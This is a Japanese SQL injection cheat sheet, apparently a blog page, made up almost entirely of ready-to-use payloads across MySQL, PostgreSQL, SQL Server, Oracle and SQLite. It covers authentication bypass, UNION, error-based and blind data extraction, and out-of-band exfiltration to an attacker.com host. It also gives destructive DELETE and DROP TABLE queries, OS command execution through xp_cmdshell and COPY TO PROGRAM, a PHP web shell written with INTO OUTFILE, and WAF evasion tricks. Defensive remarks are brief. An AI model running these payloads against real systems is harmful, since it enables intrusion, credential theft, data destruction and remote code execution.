SQLインジェクション チートシート

cheatsheet

目的別のSQLインジェクション手法一覧

🕵️ 情報収集

データベースのバージョン、ユーザー名、テーブル名、カラム名などを特定するための手法。

データベースバージョンの特定

データベース 手法例 (UNIONベース) 手法例 (エラーベース) 手法例 (ブラインド)
MySQL ' UNION SELECT @@version, NULL -- ' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) -- (時間差で確認) ' AND SUBSTRING(@@version,1,1)='5' --
PostgreSQL ' UNION SELECT version(), NULL -- ' AND 1=(SELECT CAST(version() AS NUMERIC)) -- ' AND SUBSTRING(version(),1,1)='1' --
SQL Server ' UNION SELECT @@version, NULL -- ' AND 1=(SELECT CAST(@@version AS INT)) -- ' AND SUBSTRING(@@version, 1, 15)='M' --
Oracle ' UNION SELECT banner, NULL FROM v$version WHERE ROWNUM=1 -- ' AND 1=UTL_INADDR.get_host_name((SELECT banner FROM v$version WHERE ROWNUM=1)) -- (DNS経由) ' AND (SELECT SUBSTR(banner,1,1) FROM v$version WHERE ROWNUM=1)='O' --
SQLite ' UNION SELECT sqlite_version(), NULL -- (エラーベースは難しい) ' AND SUBSTR(sqlite_version(),1,1)='3' --

現在のデータベースユーザーの特定


-- MySQL / PostgreSQL
' UNION SELECT user(), NULL --
' UNION SELECT current_user, NULL --

-- SQL Server
' UNION SELECT SUSER_SNAME(), NULL --
' UNION SELECT SYSTEM_USER, NULL --

-- Oracle
' UNION SELECT user, NULL FROM dual --
    

データベース名/スキーマ名の特定


-- MySQL
' UNION SELECT schema_name, NULL FROM information_schema.schemata --
' UNION SELECT database(), NULL --

-- PostgreSQL
' UNION SELECT datname, NULL FROM pg_database --
' UNION SELECT current_database(), NULL --

-- SQL Server
' UNION SELECT name, NULL FROM master..sysdatabases --
' UNION SELECT DB_NAME(), NULL --

-- Oracle
' UNION SELECT owner, NULL FROM all_tables -- (スキーマ一覧)
' UNION SELECT SYS_CONTEXT('USERENV', 'DB_NAME'), NULL FROM dual --
    

テーブル名の特定

information_schema (MySQL, PostgreSQL, SQL Server), all_tables (Oracle), sqlite_master (SQLite)などを利用します。


-- MySQL / PostgreSQL / SQL Server (DB名 'target_db' の場合)
' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = 'target_db' --

-- Oracle (スキーマ名 'TARGET_SCHEMA' の場合)
' UNION SELECT table_name, NULL FROM all_tables WHERE owner = 'TARGET_SCHEMA' --

-- SQLite
' UNION SELECT name, NULL FROM sqlite_master WHERE type='table' --
    

💡 ブラインドSQLインジェクションの場合、SUBSTRINGLIKE を使って一文字ずつ特定します。


-- 例: MySQLでテーブル名の最初の文字が 'u' かどうかを確認
' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='u' --
    

カラム名の特定

information_schema.columns (MySQL, PostgreSQL, SQL Server), all_tab_columns (Oracle) などを利用します。


-- MySQL / PostgreSQL / SQL Server (テーブル名 'users' の場合)
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users' --

-- Oracle (テーブル名 'USERS', スキーマ 'TARGET_SCHEMA' の場合)
' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name = 'USERS' AND owner = 'TARGET_SCHEMA' --

-- SQLite (テーブル名 'users' の pragma を利用)
-- (UNIONベースでは直接取得しにくい。エラーベースやブラインドが主)
-- 例: ブラインドで 'users' テーブルに 'password' カラムがあるか確認
' AND EXISTS (SELECT 1 FROM sqlite_master WHERE name='users' AND sql LIKE '%password%') --
    

💡 カラム名特定もブラインドで一文字ずつ確認可能です。


-- 例: MySQLで 'users' テーブルの最初のカラム名の最初の文字が 'i' かどうか
' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1)='i' --
    

🔑 認証回避

ログイン処理などを迂回して、認証を突破するための手法。

常に真となる条件の挿入

最も古典的で基本的な手法です。WHERE句の条件を常に真にします。


-- ユーザー入力が 'username' と 'password' の場合
-- username:
admin' --
admin' #
admin'/*
' OR '1'='1
' OR 'x'='x

-- password:
' OR '1'='1
' OR 'a'='a' --
' OR 1=1 --

-- SQL例: SELECT * FROM users WHERE username = '...' AND password = '...'
-- ' OR '1'='1 をユーザー名に挿入
SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = '...'
-- ' OR '1'='1' -- をパスワードに挿入 (コメントで以降を無効化)
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1' -- '
    

⚠️ 多くのWAFやフレームワークはこの単純なパターンを検知・防御します。

ユーザー名をコメントアウト

存在しないユーザー名でも、コメントアウトを利用して認証を試みる手法。


-- username:
admin'--
admin'#

-- password: (任意の値)
password

-- SQL例: SELECT * FROM users WHERE username = '...' AND password = '...'
-- username に admin'-- を入力
SELECT * FROM users WHERE username = 'admin'-- ' AND password = '...'
-- -> 実質的に SELECT * FROM users WHERE username = 'admin' と同じになる
    

UNIONベースでのユーザー指定

元のクエリがユーザーを返さない場合に、UNION SELECT で特定のユーザー(例: admin)の情報を強制的に返す手法。


-- username:
' UNION SELECT 'admin', 'hashed_password_placeholder', null, null FROM users WHERE username = 'admin' --

-- password: (任意の値)
password

-- SQL例 (カラム数が4つの場合): SELECT id, username, email, role FROM users WHERE username = '...' AND password = '...'
-- username に上記UNIONペイロードを入力
SELECT id, username, email, role FROM users WHERE username = '' UNION SELECT 'admin', 'hashed_password_placeholder', null, null FROM users WHERE username = 'admin' -- ' AND password = '...'
-- 存在しないユーザー名で検索しても、UNION で admin の情報が返るため、認証が成功する可能性がある
    

💡 カラム数とデータ型を合わせる必要があります。NULLや適切なダミーデータで調整します。

📄 データ抽出

データベース内の情報を不正に取得するための手法。

UNIONベースSQLインジェクション

UNION SELECT を使用して、本来のクエリ結果に追加して、別のテーブルのデータを取得します。

手順:

  1. 元のクエリ結果のカラム数を特定する (ORDER BYUNION SELECT NULL, NULL, ... を使用)
  2. 元のクエリ結果のデータ型を特定する (エラーメッセージや UNION SELECT 'a', NULL, 1, ... などで試行)
  3. UNION SELECT で目的のデータを取得する

-- 1. カラム数の特定 (例: 3カラムか試す)
' ORDER BY 3 --
-- エラーが出なければ4を試す。エラーが出たらカラム数は2以下。

-- 2. データ型の特定 (例: 3カラムで、2番目が文字列型か試す)
' UNION SELECT NULL, 'a', NULL --

-- 3. データ抽出 (例: usersテーブルからusernameとpasswordを取得、カラム数は3と仮定)
' UNION SELECT NULL, username, password FROM users --
-- 複数の行を取得する場合 (MySQLの例)
' UNION SELECT NULL, GROUP_CONCAT(username, ':', password), NULL FROM users --
    

💡 データベースごとに文字列結合関数 (CONCAT, ||, +) や集約関数 (GROUP_CONCAT, STRING_AGG, LISTAGG) が異なります。

データベース 文字列結合 複数行結果の結合
MySQL CONCAT(col1, ':', col2) GROUP_CONCAT(col SEPARATOR ';')
PostgreSQL col1 || ':' || col2 STRING_AGG(col, ';')
SQL Server col1 + ':' + col2 STRING_AGG(col, ';') WITHIN GROUP (ORDER BY col) (2017+) / XML PATH
Oracle col1 || ':' || col2 LISTAGG(col, ';') WITHIN GROUP (ORDER BY col)
SQLite col1 || ':' || col2 GROUP_CONCAT(col, ';')

エラーベースSQLインジェクション

データベースのエラーメッセージを利用して情報を抽出します。意図的に型変換エラーなどを発生させ、エラーメッセージ内に目的のデータを含ませます。


-- MySQL (updatexml/extractvalue) - Version < 8.0.20 / < 5.7.30
' AND updatexml(null, concat(0x7e, (SELECT @@version)), null) --
' AND extractvalue(null, concat(0x7e, (SELECT user()))) --

-- MySQL (floor, rand, group by)
' AND (SELECT count(*) FROM information_schema.tables GROUP BY concat(floor(rand(0)*2), (SELECT @@version))) --

-- PostgreSQL (型変換エラー)
' AND 1=(SELECT CAST((SELECT user) AS NUMERIC)) --

-- SQL Server (型変換エラー)
' AND 1=(SELECT CAST((SELECT DB_NAME()) AS INT)) --
' OR 1=CONVERT(int, (SELECT @@servername)) --

-- Oracle (XMLType)
' AND 1=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||(SELECT user FROM dual)||CHR(62))) FROM dual) --
' AND 1=(SELECT CTXSYS.DRITHSX.SN(1, (SELECT user FROM dual)) FROM dual) -- (要CTXAPP権限)
    

⚠️ エラーメッセージが表示される設定になっている必要があります。近年の環境では表示されないことが多いです。

ブラインドSQLインジェクション

クエリの結果が直接表示されない場合に、レスポンスの違い(真偽、時間差)を利用して情報を一文字ずつ特定します。

Booleanベース

条件が真の場合と偽の場合で、ページの表示内容が異なることを利用します。


-- 例: データベースユーザー名の最初の文字が 'a' かどうか (MySQL/PostgreSQL)
' AND SUBSTRING(user(), 1, 1) = 'a' --

-- 例: 'users' テーブルの最初のレコードの 'password' カラムの長さが8文字か (汎用)
' AND LENGTH((SELECT password FROM users LIMIT 1)) = 8 --

-- 例: 'users' テーブルの最初のレコードの 'password' カラムの3文字目が 'x' か (ASCII値で比較)
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1), 3, 1)) = 120 --
    

時間ベース

条件が真の場合に、データベースに時間のかかる処理(スリープ)を実行させ、レスポンス時間の差を利用します。


-- MySQL
' AND IF(SUBSTRING(user(),1,1)='r', SLEEP(5), 0) --

-- PostgreSQL
' AND CASE WHEN (SUBSTRING(user(),1,1)='p') THEN pg_sleep(5) ELSE NULL END --

-- SQL Server
' WAITFOR DELAY '0:0:5' --
' IF (SUBSTRING(DB_NAME(),1,1)='m') WAITFOR DELAY '0:0:5' --

-- Oracle (PL/SQLを使用)
' AND DBMS_LOCK.SLEEP(5); -- (これはスタッククエリが必要かも)
-- または
' AND 1=(SELECT CASE WHEN (SUBSTR(user,1,1)='S') THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END FROM dual) --

-- SQLite (重い処理で代替)
-- ' AND [condition] AND LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([large_number])))) -- (確実ではない)
    

⏰ 時間ベースはBooleanベースが使えない場合に有効ですが、ネットワーク遅延の影響を受ける可能性があります。

アウトオブバンド (Out-of-Band) SQLインジェクション

データベースサーバーから外部のサーバー(攻撃者が用意したDNSサーバーやHTTPサーバー)へリクエストを送信させ、そのリクエストに含まれる情報からデータを抽出します。


-- SQL Server (UNCパス経由でのDNSリクエスト)
' DECLARE @data VARCHAR(1024); SELECT @data = (SELECT @@version); EXEC master..xp_dirtree ('\\'+@data+'.attacker.com\share'); --
' DECLARE @q VARCHAR(1024); SET @q = '\\' + (SELECT CONVERT(VARCHAR(1000), @@SERVERNAME)) + '.' + (SELECT CONVERT(VARCHAR(1000), DB_NAME())) + '.attacker.com\foobar'; EXEC master..xp_fileexist @q; --

-- Oracle (UTL_HTTP / UTL_INADDR / DBMS_LDAP)
' UNION SELECT UTL_HTTP.request('http://attacker.com/' || (SELECT user FROM dual)), NULL FROM dual --
' UNION SELECT UTL_INADDR.get_host_address((SELECT user FROM dual) || '.attacker.com'), NULL FROM dual --
' UNION SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.attacker.com', 80), NULL FROM dual --

-- PostgreSQL (COPY FROM/TO PROGRAM - スーパーユーザー権限)
COPY (SELECT version()) TO PROGRAM 'curl http://attacker.com/?data=$(cat /dev/stdin)';
-- (Webアプリ経由では難しいことが多い)
     

⚠️ データベースサーバーから外部への通信がファイアウォールで許可されている必要があります。また、特定の関数実行には高い権限が必要な場合があります。

✏️ データ改ざん・削除

データベース内のデータを不正に変更、追加、削除する手法。

データの更新 (UPDATE)

既存のレコードの値を変更します。スタッククエリが利用可能な場合に有効です。


-- 例: ユーザー 'targetuser' のパスワードを 'newpassword' に変更
'; UPDATE users SET password = 'newpassword' WHERE username = 'targetuser' --

-- 例: ユーザーID 1 の権限を 'admin' に変更
' ; UPDATE users SET role = 'admin' WHERE id = 1 --
    

データの挿入 (INSERT)

新しいレコードを追加します。スタッククエリが利用可能な場合に有効です。


-- 例: 新しい管理者ユーザーを追加
'; INSERT INTO users (username, password, role) VALUES ('attacker', 'hashed_pass', 'admin') --
    

データの削除 (DELETE)

既存のレコードを削除します。スタッククエリが利用可能な場合に有効です。


-- 例: ユーザー 'victimuser' を削除
'; DELETE FROM users WHERE username = 'victimuser' --

-- 例: 全ユーザーを削除 (危険!)
'; DELETE FROM users --
    

テーブルの削除 (DROP TABLE)

テーブル自体を削除します。非常に破壊的な操作です。スタッククエリが必要です。


-- 例: 'logs' テーブルを削除
'; DROP TABLE logs --

-- 例: 'users' テーブルを削除 (非常に危険!)
'; DROP TABLE users --
    

🚨 データ改ざん・削除は極めて危険な行為であり、深刻な影響を与えます。テスト環境以外での実行は絶対に避けてください。

💡 スタッククエリ (; を使って複数のSQL文を実行) が無効化されている場合、これらの操作は通常実行できません。

💻 OSコマンド実行

データベースの機能を利用して、基盤となるオペレーティングシステムのコマンドを実行する手法。

MySQL

sys_exec (UDF: User Defined Function) など、追加の関数が必要な場合が多い。標準機能では限定的。


-- UDF が導入済みの場合
' UNION SELECT sys_exec('whoami'), NULL --
    

SELECT ... INTO OUTFILESELECT ... INTO DUMPFILE を使ってWebサーバーのドキュメントルートにファイルを作成し、Web経由で実行させる手法もあります。


-- Web Shellの書き込み (書き込み権限が必要)
' UNION SELECT '<?php system($_GET[\'cmd\']); ?>', NULL INTO OUTFILE '/var/www/html/shell.php' --
    

PostgreSQL

COPY FROM/TO PROGRAM (スーパーユーザー権限) や、PL/Perl, PL/Python などの手続き言語を利用。


-- COPY PROGRAM (スーパーユーザー権限)
COPY (SELECT '') TO PROGRAM 'id > /tmp/id_output';
COPY cmd_output FROM PROGRAM 'id'; SELECT * FROM cmd_output;

-- PL/Python (要拡張機能、権限)
CREATE OR REPLACE FUNCTION exec(cmd text) RETURNS text AS $$
  import subprocess
  return subprocess.check_output(cmd, shell=True).decode()
$$ LANGUAGE plpython3u;
SELECT exec('whoami');
    

SQL Server

xp_cmdshell ストアドプロシージャ (デフォルトでは無効なことが多い)。


-- xp_cmdshell が有効な場合
'; EXEC master..xp_cmdshell 'whoami' --

-- xp_cmdshell を有効化 (sysadmin権限が必要)
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
    

Oracle

DBMS_SCHEDULER や Java ストアドプロシージャを利用。


-- DBMS_SCHEDULER (要権限)
BEGIN
  DBMS_SCHEDULER.create_job (
    job_name        => 'my_exec_job',
    job_type        => 'EXECUTABLE',
    job_action      => '/bin/bash',
    number_of_arguments => 2,
    enabled         => FALSE,
    auto_drop       => TRUE);
  DBMS_SCHEDULER.set_job_argument_value('my_exec_job', 1, '-c');
  DBMS_SCHEDULER.set_job_argument_value('my_exec_job', 2, 'id > /tmp/oracle_id');
  DBMS_SCHEDULER.enable('my_exec_job');
END;
/

-- Java Stored Procedure (要権限)
-- (複雑な定義が必要)
    

⚠️ OSコマンド実行は非常に強力ですが、実行できるかどうかはデータベースの設定、権限、利用可能な関数に大きく依存します。

🧱 スタッククエリ (Stacked Queries)

セミコロン (;) を使用して、単一の入力で複数のSQLクエリを連続して実行する手法。


-- 例: ユーザー情報を取得し、その後でデータを更新する
' ; SELECT * FROM users WHERE username = 'admin' ; UPDATE products SET price = 0 WHERE id = 123 --
    

特徴:

  • INSERT, UPDATE, DELETE, DROP などのデータ操作や定義変更が可能になる。
  • OSコマンド実行 (xp_cmdshellなど) のトリガーにも使われる。
  • データベースやAPIのドライバによってはサポートされていない場合がある (例: PHPのmysql_query関数はデフォルトでは非対応)。

対応状況の例:

  • 対応: SQL Server, PostgreSQL, MySQL (一部のAPI/ドライバ)
  • 非対応: Oracle (PL/SQLブロック内では可能), SQLite (一部のAPI), PHP/MySQL (標準関数)

🚀 高度なテクニック

セカンドオーダーSQLインジェクション (Second-Order SQL Injection)

悪意のある入力が一度データベースに保存され、後で別の機能がそのデータを安全でない形で読み出してSQLクエリを組み立てる際に発生するインジェクション。

シナリオ例:

  1. ユーザーがプロファイル名に admin' -- を登録する。この時点では無害化されるか、そのまま保存される。
  2. パスワード変更機能などで、保存されたプロファイル名を読み込み、SELECT * FROM users WHERE username = '[保存されたプロファイル名]' のようなクエリを実行する。
  3. この時、SELECT * FROM users WHERE username = 'admin' -- ' というクエリが実行され、意図しない動作を引き起こす可能性がある。

🛡️ 入力時だけでなく、データベースから読み込んだデータを使用する際も、常にプレースホルダ等で安全に扱う必要があります。

SQLインジェクションによるWAF回避

Web Application Firewall (WAF) の検知ルールを回避するためのテクニック。

  • キーワードの分割・難読化:
    • コメント挿入: UNION/**/SELECT, SEL/**/ECT
    • 大文字小文字混合: UnIoN SeLeCt
    • URLエンコーディング: %55NION %53ELECT (U, S)
    • 特殊なエンコーディング: Double URL Encoding (%2555NION), Unicode (%u0055NION)
    • 空白文字の代替: +, %09 (Tab), %0a (Newline), %a0 (Non-breaking space), /**/
    • 関数・変数による代替: SELECT user() -> SELECT us%65r() (MySQLの場合、変数や関数名に16進数表現は使えないことが多い)
    • 文字列連結: 'SEL' || 'ECT' (PostgreSQL/Oracle), CONCAT('SEL','ECT') (MySQL)
  • 代替構文の使用:
    • AND 1=1 -> AND true, AND 'a'='a', AND -1=-1
    • UNION SELECT -> UNION ALL SELECT
    • SUBSTRING(str, 1, 1) -> LEFT(str, 1), SUBSTR(str, 1, 1)
    • SLEEP(5) -> BENCHMARK(10000000, MD5('a')) (MySQL), pg_sleep(5)
  • HTTPパラメータ汚染 (HTTP Parameter Pollution – HPP):

    同じ名前のパラメータを複数送信し、サーバー側の処理によっては予期せぬ値がSQLクエリに組み込まれることを狙う。

    ?id=1&id=' OR '1'='1
  • リクエスト形式の変更:

    GET リクエストを POST に変えたり、Content-Typeapplication/json などに変更してペイロードを送信する。

⚠️ WAF回避技術は常に進化しており、上記が通用するとは限りません。WAFのシグネチャや設定に依存します。

💬 コメント構文

SQLクエリの一部を無効化するために使用されるコメントの形式。

構文 説明 対応DB (主なもの) 注意点
--
(ハイフン2つ + スペース)
行末までをコメントアウト MySQL, PostgreSQL, SQL Server, Oracle, SQLite 末尾にスペースまたは改行が必要
# 行末までをコメントアウト MySQL
/* ... */ 複数行またはインラインコメント MySQL, PostgreSQL, SQL Server, Oracle WAFで検知されやすい
;%00
(セミコロン + Nullバイト)
クエリの終端を偽装 (一部環境) 古いMySQL+PHP環境など Nullバイトインジェクション。現在では稀。

-- 使用例
' UNION SELECT username, password FROM users -- -
' UNION SELECT username, password FROM users #
' UNION/*comment*/SELECT/*comment*/username, password FROM users --
    

コメント

タイトルとURLをコピーしました